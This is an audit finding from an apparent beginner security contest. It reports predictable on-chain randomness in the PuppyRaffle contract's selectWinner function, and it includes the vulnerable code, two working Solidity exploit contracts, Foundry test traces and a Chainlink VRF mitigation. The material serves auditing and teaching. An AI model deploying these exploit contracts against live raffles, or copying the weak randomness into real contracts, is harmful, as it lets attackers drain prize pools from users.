Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in selectWinner Allows Attackers to Predict and Steal the Prize Pool

Root + Impact

Description

  • The selectWinner function in the contract relies on predictable on-chain data to determine the outcome of the raffle. Specifically, it calculates the winning player by hashing msg.sender, block.timestamp, and block.difficulty. In Ethereum, all block variables are globally readable, and msg.sender is known to the transaction initiator. Because this randomness relies entirely on transparent data, a malicious smart contract can pre-calculate the result before fully executing the transaction.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

  • Total Loss of Funds: An attacker can create a smart contract that simulates the randomness calculation. If the calculation does not result in the attacker winning, the contract simply reverts the transaction at a minimal gas cost. When the variables finally align, the transaction completes, allowing the attacker to systematically drain the protocol's prize pools.

  • Defrauded Users: Legitimate users have essentially a 0% chance of winning, as the attacker will surgically extract the prize the moment a block favors them.

Proof of Concept

  • Arrange: Five legitimate users and one AttackPRaffle smart contract enter the raffle. The Attacker occupies index 5.

  • Act: The test fast-forwards time to bypass the raffle duration constraint. The AttackPRaffle contract attempts to call selectWinner().

  • Bypass/Execute: Inside the AttackPRaffle contract, it calculates the exact mathematical outcome using the current block's timestamp and difficulty. The calculation reveals that index 2 (bob) will win this specific block.

  • Assert: Because the attacker realizes they will not win, they intentionally revert the transaction with the custom error Math says we won't win this block. Reverting!. This proves the attacker can perfectly predict the outcome and protect their funds, waiting to execute only on a block where they are mathematically guaranteed to win.

    //SPDX-License-Identifier: MIT
    pragma solidity ^0.7.6;
    import {PuppyRaffle} from "../../src/PuppyRaffle.sol";
    import {console2} from "forge-std/console2.sol";
    contract AttackPRaffle {
    //Logic to attack
    PuppyRaffle public targetRaffle;
    constructor(address _target) {
    targetRaffle = PuppyRaffle(_target);
    }
    //Attack
    function attack(uint256 totalPlayers) external {
    //Arrange
    uint256 expectedWinnerIndex = uint256(
    keccak256(
    abi.encode(address(this), block.timestamp, block.difficulty)
    )
    ) % totalPlayers;
    console2.log("The Winner Index is: ", expectedWinnerIndex);
    require(
    targetRaffle.players(expectedWinnerIndex) == address(this),
    "Math says we won't win this block. Reverting!"
    );
    //Act
    targetRaffle.selectWinner();
    }
    }
function test_The_Random_Winner_Can_be_guessed() public {
//Arrange
address[] memory players = new address[](6);
players[0] = spider;
players[1] = alice;
players[2] = bob;
players[3] = dan;
players[4] = eli;
players[5] = address(attackPRaffle);
pRaffle.enterRaffle{value: STARTING_AMOUNT * 6}(players);
uint256 Number_Of_players_in_Raffle = 6;
vm.warp(block.timestamp + 2 days);
uint256 expectedWinner = uint256(
keccak256(
abi.encodePacked(
address(attackPRaffle),
block.timestamp,
block.difficulty
)
)
) % Number_Of_players_in_Raffle;
console2.log("Expected winner: ", expectedWinner);
//Act//Assert
vm.prank(address(attackPRaffle));
attackPRaffle.attack(Number_Of_players_in_Raffle);
}
[FAIL: Math says we won't win this block. Reverting!] test_The_Random_Winner_Can_be_guessed() (gas: 218965)
Logs:
Expected winner: 2
The Winner Index is: 2
Traces:
[9367546] TestPRaffle::setUp()
├─ [4391286] → new DeployPuppyRaffle@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 21598 bytes of code
├─ [4551931] DeployPuppyRaffle::run()
│ ├─ [0] VM::broadcast()
│ │ └─ ← [Return]
│ ├─ [4488167] → new PuppyRaffle@0x34A1D3fff3958843C43aD80F30b94c510645C316
│ │ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ │ └─ ← [Return] 18943 bytes of code
│ └─ ← [Return] PuppyRaffle: [0x34A1D3fff3958843C43aD80F30b94c510645C316]
├─ [267771] → new AttackPRaffle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 1226 bytes of code
├─ [0] VM::deal(spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::deal(alie: [0x70E1B74cD0d17f05De348115B5Cd2772812B906F], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(dan: [0xb72116984E306d834a0ae638688Ef9AF1f7FE2cd], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(eli: [0xEa61F454C2B4A5A16AB556DBE8DBB176C1D02177], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38], 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(AttackPRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000 [1e18])
│ └─ ← [Return]
└─ ← [Stop]
[218965] TestPRaffle::test_The_Random_Winner_Can_be_guessed()
├─ [175833] PuppyRaffle::enterRaffle{value: 6000000000000000000}([0xB279F90f644e63EAca636d78E1d3fcC206632F63, 0x70E1B74cD0d17f05De348115B5Cd2772812B906F, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 0xb72116984E306d834a0ae638688Ef9AF1f7FE2cd, 0xEa61F454C2B4A5A16AB556DBE8DBB176C1D02177, 0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ ├─ emit RaffleEnter(newPlayers: [0xB279F90f644e63EAca636d78E1d3fcC206632F63, 0x70E1B74cD0d17f05De348115B5Cd2772812B906F, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, 0xb72116984E306d834a0ae638688Ef9AF1f7FE2cd, 0xEa61F454C2B4A5A16AB556DBE8DBB176C1D02177, 0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Stop]
├─ [0] VM::warp(172801 [1.728e5])
│ └─ ← [Return]
├─ [0] console::log("Expected winner: ", 2) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(AttackPRaffle: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ └─ ← [Return]
├─ [4765] AttackPRaffle::attack(6)
│ ├─ [0] console::log("The Winner Index is: ", 2) [staticcall]
│ │ └─ ← [Stop]
│ ├─ [743] PuppyRaffle::players(2) [staticcall]
│ │ └─ ← [Return] bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]
│ └─ ← [Revert] Math says we won't win this block. Reverting!
└─ ← [Revert] Math says we won't win this block. Reverting!
Backtrace:
at AttackPRaffle.attack
at TestPRaffle.test_The_Random_Winner_Can_be_guessed
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 7.22ms (1.48ms CPU time)
Ran 1 test suite in 153.43ms (7.22ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/POC/TestPRaffle.t.sol:TestPRaffle
[FAIL: Math says we won't win this block. Reverting!] test_The_Random_Winner_Can_be_guessed() (gas: 218965)
Encountered a total of 1 failing tests, 0 tests succeeded

Recommended Mitigation

  • Never use on-chain block variables (like block.timestamp, block.difficulty, or blockhash) to generate random numbers for critical financial outcomes.

  • To achieve true, cryptographically secure randomness, the protocol must integrate an off-chain Decentralized Oracle Network, such as Chainlink VRF (Verifiable Random Function). Chainlink VRF generates the random number off-chain, verifies the cryptographic proof on-chain, and prevents any user, miner, or smart contract from predicting the outcome.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!